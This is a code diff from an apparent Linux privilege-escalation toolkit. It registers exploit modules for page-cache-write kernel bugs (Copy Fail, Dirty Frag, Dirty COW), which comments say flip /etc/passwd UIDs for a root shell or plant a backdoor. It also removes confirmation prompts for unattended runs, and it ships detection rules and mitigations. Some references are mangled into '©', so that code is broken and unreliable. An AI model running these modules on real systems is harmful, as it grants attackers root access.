* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||
*
|
||||
* Defined in iamroot_modules.c, registered into the global registry
|
||||
* by iamroot_register_copy_fail_family() (declared in
|
||||
* core/registry.h).
|
||||
*/
|
||||
|
||||
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
||||
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module copy_fail_module;
|
||||
extern const struct iamroot_module copy_fail_gcm_module;
|
||||
extern const struct iamroot_module dirty_frag_esp_module;
|
||||
extern const struct iamroot_module dirty_frag_esp6_module;
|
||||
extern const struct iamroot_module dirty_frag_rxrpc_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,399 @@
|
||||
/*
|
||||
* copy_fail_family — SKELETONKEY module bridge layer
|
||||
*
|
||||
* Wraps the existing per-CVE detect/exploit functions (from the
|
||||
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
|
||||
*
|
||||
* The bridge functions translate between the family's df_result_t
|
||||
* (defined in src/common.h) and skeletonkey_result_t (defined in
|
||||
* core/module.h). Numeric values are identical by design so the
|
||||
* translation is a direct cast.
|
||||
*
|
||||
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
|
||||
* forwarded to the family's existing global flags before each
|
||||
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
||||
* unchanged.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include "src/common.h"
|
||||
#include "src/copyfail.h"
|
||||
#include "src/copyfail_gcm.h"
|
||||
#include "src/dirtyfrag_esp.h"
|
||||
#include "src/dirtyfrag_esp6.h"
|
||||
#include "src/dirtyfrag_rxrpc.h"
|
||||
#include "src/mitigate.h"
|
||||
|
||||
#include <sys/stat.h>
|
||||
|
||||
static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
dirtyfail_use_color = !ctx->no_color;
|
||||
dirtyfail_active_probes = ctx->active_probe;
|
||||
dirtyfail_json = ctx->json;
|
||||
/* Forward the --i-know authorization gate. SKELETONKEY already
|
||||
* blocks --exploit/--auto unless --i-know is passed, so by the time
|
||||
* a DIRTYFAIL exploit callback runs, authorization is established.
|
||||
* This lets typed_confirm() skip its (now redundant) interactive
|
||||
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
|
||||
dirtyfail_assume_yes = ctx->authorized;
|
||||
/* dirtyfail_no_revert is intentionally not driven from ctx —
|
||||
* it's a debug knob; default stays off. */
|
||||
}
|
||||
|
||||
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
|
||||
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
|
||||
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
|
||||
* checks for it too, but doing it here gives the dispatcher one
|
||||
* testable point per module and short-circuits the heavier
|
||||
* inner-detect work when the gate is closed). copy_fail itself uses
|
||||
* AF_ALG which doesn't strictly need userns, so it bypasses this
|
||||
* gate — its inner detect still confirms the primitive empirically. */
|
||||
static skeletonkey_result_t cff_check_userns(const char *modname,
|
||||
const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
|
||||
"disabled (host fingerprint) — XFRM/RxRPC variant "
|
||||
"unreachable here%s\n", modname,
|
||||
ctx->host->apparmor_restrict_userns
|
||||
? "; AppArmor restriction is on" : "");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ----- Family-wide --mitigate / --cleanup -----
|
||||
*
|
||||
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
|
||||
* set apparmor_restrict_unprivileged_userns=1, drop_caches) is the same
|
||||
* for every member of this family. All 5 modules' .mitigate fields
|
||||
* therefore point at the same wrapper.
|
||||
*
|
||||
* For .cleanup we route based on visible state:
|
||||
* - If the mitigation conf file is present, the user most recently
|
||||
* ran --mitigate → revert that.
|
||||
* - Otherwise the user ran --exploit → evict /etc/passwd from page
|
||||
* cache.
|
||||
* This is a heuristic, not a state machine. Sufficient for the common
|
||||
* usage patterns. */
|
||||
|
||||
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
||||
|
||||
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)mitigate_apply();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
struct stat st;
|
||||
if (stat(CFF_MITIGATE_CONF, &st) == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
||||
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
||||
}
|
||||
return (skeletonkey_result_t)mitigate_revert();
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
||||
"evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* ----- copy_fail (CVE-2026-31431) ----- */
|
||||
|
||||
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)copyfail_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
/* Shared detection rules for the copy_fail family — every member of
|
||||
* this family exploits the same page-cache-write primitive and lands
|
||||
* in the same files (/etc/passwd or /usr/bin/su). One rule set covers
|
||||
* all five module entries. Per-module structs alias the same strings. */
|
||||
static const char copy_fail_family_auditd[] =
|
||||
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
||||
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
|
||||
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
|
||||
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
|
||||
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
||||
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
|
||||
|
||||
static const char copy_fail_family_sigma[] =
|
||||
"title: Copy Fail / Dirty Frag family exploitation\n"
|
||||
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
||||
" Dirty Frag siblings (CVE-2026-43284 v4/v6, CVE-2026-43500). Catches the\n"
|
||||
" /etc/passwd UID-flip backdoor + the persistent backdoor account install.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" modification:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/etc/passwd', '/etc/shadow', '/etc/sudoers', '/usr/bin/su']\n"
|
||||
" not_root: {auid|expression: '!= 0'}\n"
|
||||
" condition: modification and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
/* YARA + Falco rules shared across the 5 family modules. Scanned via
|
||||
* --detect-rules; the dispatcher dedups by pointer so the rule blob
|
||||
* emits once even though copy_fail / copy_fail_gcm / dirty_frag_*
|
||||
* all point at the same string. */
|
||||
static const char copy_fail_family_yara[] =
|
||||
"rule etc_passwd_uid_flip : page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31431 / CVE-2026-43284 / CVE-2026-43500\"\n"
|
||||
" description = \"/etc/passwd page-cache UID flip: a non-root user line shows a zero-padded UID (the canonical Copy Fail / Dirty Frag / DirtyDecrypt / Dirty Pipe payload). Scan /etc/passwd; legitimate root uses plain '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" // lowercase-start username, optional shadow ('x') password, then UID 0000 or longer\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule etc_passwd_root_no_password\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635 (DirtyDecrypt sliding-window write)\"\n"
|
||||
" description = \"/etc/passwd root entry rewritten to have an empty password field — the DirtyDecrypt PoC's intermediate corruption (rewrite root's password to empty, then `su root` without password).\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $root_open = /\\nroot::0:0:/ // empty password (canonical x or ! when shadowed)\n"
|
||||
" condition:\n"
|
||||
" $root_open\n"
|
||||
"}\n";
|
||||
|
||||
static const char copy_fail_family_falco[] =
|
||||
"- rule: AF_ALG authenc keyblob installed by non-root (Copy Fail primitive)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_ALG socket and installs an\n"
|
||||
" authencesn(hmac(sha256),cbc(aes)) keyblob via ALG_SET_KEY.\n"
|
||||
" Core of the Copy Fail (CVE-2026-31431) primitive — also\n"
|
||||
" triggered by the GCM variant. AF_ALG by non-root is rare on\n"
|
||||
" most servers; tune by allow-listing your crypto-using daemons.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 38 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_ALG socket() by non-root (user=%user.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31431, copy_fail]\n"
|
||||
"\n"
|
||||
"- rule: XFRM NETLINK_XFRM bind from unprivileged userns (Dirty Frag primitive)\n"
|
||||
" desc: |\n"
|
||||
" A NETLINK_XFRM socket is opened from inside an unprivileged\n"
|
||||
" user namespace, with subsequent XFRM_MSG_NEWSA installing an\n"
|
||||
" ESP(rfc4106(gcm(aes))) state. Core of the Dirty Frag esp/esp6\n"
|
||||
" variants — also tripped by Fragnesia's setup phase. Legitimate\n"
|
||||
" XFRM use is normally privileged (strongSwan, libreswan).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and not user.uid = 0 and\n"
|
||||
" proc.aname[1] != \"\" // we want non-init userns; refine with k8s.namespace or container.id\n"
|
||||
" output: >\n"
|
||||
" NETLINK_XFRM sendto from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.43284, dirty_frag]\n"
|
||||
"\n"
|
||||
"- rule: /etc/passwd modified by non-root (Copy Fail / Dirty Frag / Dirty Pipe outcome)\n"
|
||||
" desc: |\n"
|
||||
" /etc/passwd is read-only for non-root, so a non-root caller\n"
|
||||
" showing up on its open(W_OK) audit trail indicates a\n"
|
||||
" page-cache write primitive succeeded. Catches the post-fire\n"
|
||||
" state for the whole copy_fail family + dirty_pipe.\n"
|
||||
" condition: >\n"
|
||||
" open_write and fd.name = /etc/passwd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Non-root write to /etc/passwd (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, copy_fail, dirty_frag]\n";
|
||||
|
||||
const struct skeletonkey_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "≤ 6.12.84, fixed mainline 2026-04-22",
|
||||
.detect = copy_fail_detect_wrap,
|
||||
.exploit = copy_fail_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
|
||||
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
.name = "copy_fail_gcm",
|
||||
.cve = "VARIANT",
|
||||
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same as copy_fail; rfc4106(gcm(aes)) not in modprobe blacklist",
|
||||
.detect = copy_fail_gcm_detect_wrap,
|
||||
.exploit = copy_fail_gcm_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
|
||||
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
.name = "dirty_frag_esp",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same family as copy_fail; xfrm-ESP path",
|
||||
.detect = dirty_frag_esp_detect_wrap,
|
||||
.exploit = dirty_frag_esp_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
|
||||
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
.name = "dirty_frag_esp6",
|
||||
.cve = "CVE-2026-43284",
|
||||
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "same family as copy_fail; xfrm-ESP6 path; V6 STORE shift auto-calibrated",
|
||||
.detect = dirty_frag_esp6_detect_wrap,
|
||||
.exploit = dirty_frag_esp6_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
|
||||
if (pre != SKELETONKEY_OK) return pre;
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
apply_ctx(ctx);
|
||||
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||
}
|
||||
|
||||
const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||
.name = "dirty_frag_rxrpc",
|
||||
.cve = "CVE-2026-43500",
|
||||
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
||||
.family = "copy_fail_family",
|
||||
.kernel_range = "kernels exposing AF_RXRPC + rxkad with fcrypt fallback",
|
||||
.detect = dirty_frag_rxrpc_detect_wrap,
|
||||
.exploit = dirty_frag_rxrpc_exploit_wrap,
|
||||
.mitigate = copy_fail_family_mitigate,
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
void skeletonkey_register_copy_fail_family(void)
|
||||
{
|
||||
skeletonkey_register(©_fail_module);
|
||||
skeletonkey_register(©_fail_gcm_module);
|
||||
skeletonkey_register(&dirty_frag_esp_module);
|
||||
skeletonkey_register(&dirty_frag_esp6_module);
|
||||
skeletonkey_register(&dirty_frag_rxrpc_module);
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
/*
|
||||
* copy_fail_family — SKELETONKEY module registry hooks
|
||||
*
|
||||
* The family currently contains five skeletonkey_module entries:
|
||||
*
|
||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||
*
|
||||
* Defined in skeletonkey_modules.c, registered into the global registry
|
||||
* by skeletonkey_register_copy_fail_family() (declared in
|
||||
* core/registry.h).
|
||||
*/
|
||||
|
||||
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module copy_fail_module;
|
||||
extern const struct skeletonkey_module copy_fail_gcm_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp_module;
|
||||
extern const struct skeletonkey_module dirty_frag_esp6_module;
|
||||
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||
|
||||
#endif
|
||||
@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
|
||||
bool dirtyfail_active_probes = false;
|
||||
bool dirtyfail_no_revert = false;
|
||||
bool dirtyfail_json = false;
|
||||
bool dirtyfail_assume_yes = false;
|
||||
|
||||
static void vlog(FILE *out, const char *prefix, const char *color,
|
||||
const char *fmt, va_list ap)
|
||||
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
|
||||
|
||||
bool typed_confirm(const char *expected)
|
||||
{
|
||||
/* When the caller has already cleared an explicit authorization gate
|
||||
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
|
||||
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
|
||||
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
|
||||
*
|
||||
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
|
||||
* it protects the operator's own access rather than gating
|
||||
* authorization, so it always requires an interactive answer. */
|
||||
if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
|
||||
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
|
||||
return true;
|
||||
}
|
||||
|
||||
char buf[128];
|
||||
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
|
||||
fflush(stdout);
|
||||
|
||||
@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
|
||||
* is redirected to stderr. Set by --json. */
|
||||
extern bool dirtyfail_json;
|
||||
|
||||
/* When true, typed_confirm() auto-satisfies its gate instead of reading
|
||||
* stdin — the caller has already cleared an explicit authorization gate.
|
||||
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
|
||||
* (i.e. the --i-know flag) so non-interactive runs like
|
||||
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
|
||||
* The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
|
||||
extern bool dirtyfail_assume_yes;
|
||||
|
||||
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
# NOTICE — dirty_cow (CVE-2016-5195)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2016-5195** — Copy-on-write race via `/proc/self/mem` + `madvise`
|
||||
→ arbitrary file write into the page cache.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **Phil Oester**, October 2016. The bug had been latent in
|
||||
the kernel since ~2007.
|
||||
|
||||
Original advisory: <https://dirtycow.ninja/>
|
||||
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
Two-thread Phil-Oester-style race: writer thread via
|
||||
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
|
||||
`/etc/passwd` UID field flip + `su` for the root shell. Useful for
|
||||
**old systems coverage** — RHEL 6/7 (3.10 baseline), Ubuntu 14.04
|
||||
(3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT.
|
||||
|
||||
Ships auditd watch on `/proc/self/mem` and a sigma rule for non-root
|
||||
mem-open patterns.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_COW_IAMROOT_MODULES_H
|
||||
#define DIRTY_COW_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_cow_module;
|
||||
|
||||
#endif
|
||||
+109
-38
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — IAMROOT module
|
||||
* dirty_cow_cve_2016_5195 — SKELETONKEY module
|
||||
*
|
||||
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
||||
* handling: a thread writing to /proc/self/mem races a thread calling
|
||||
@@ -41,17 +41,21 @@
|
||||
* - execve(su) → shell with uid=0
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <pwd.h>
|
||||
@@ -224,49 +228,57 @@ static void revert_passwd_page_cache(void)
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- iamroot interface ---- */
|
||||
/* ---- skeletonkey interface ---- */
|
||||
|
||||
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
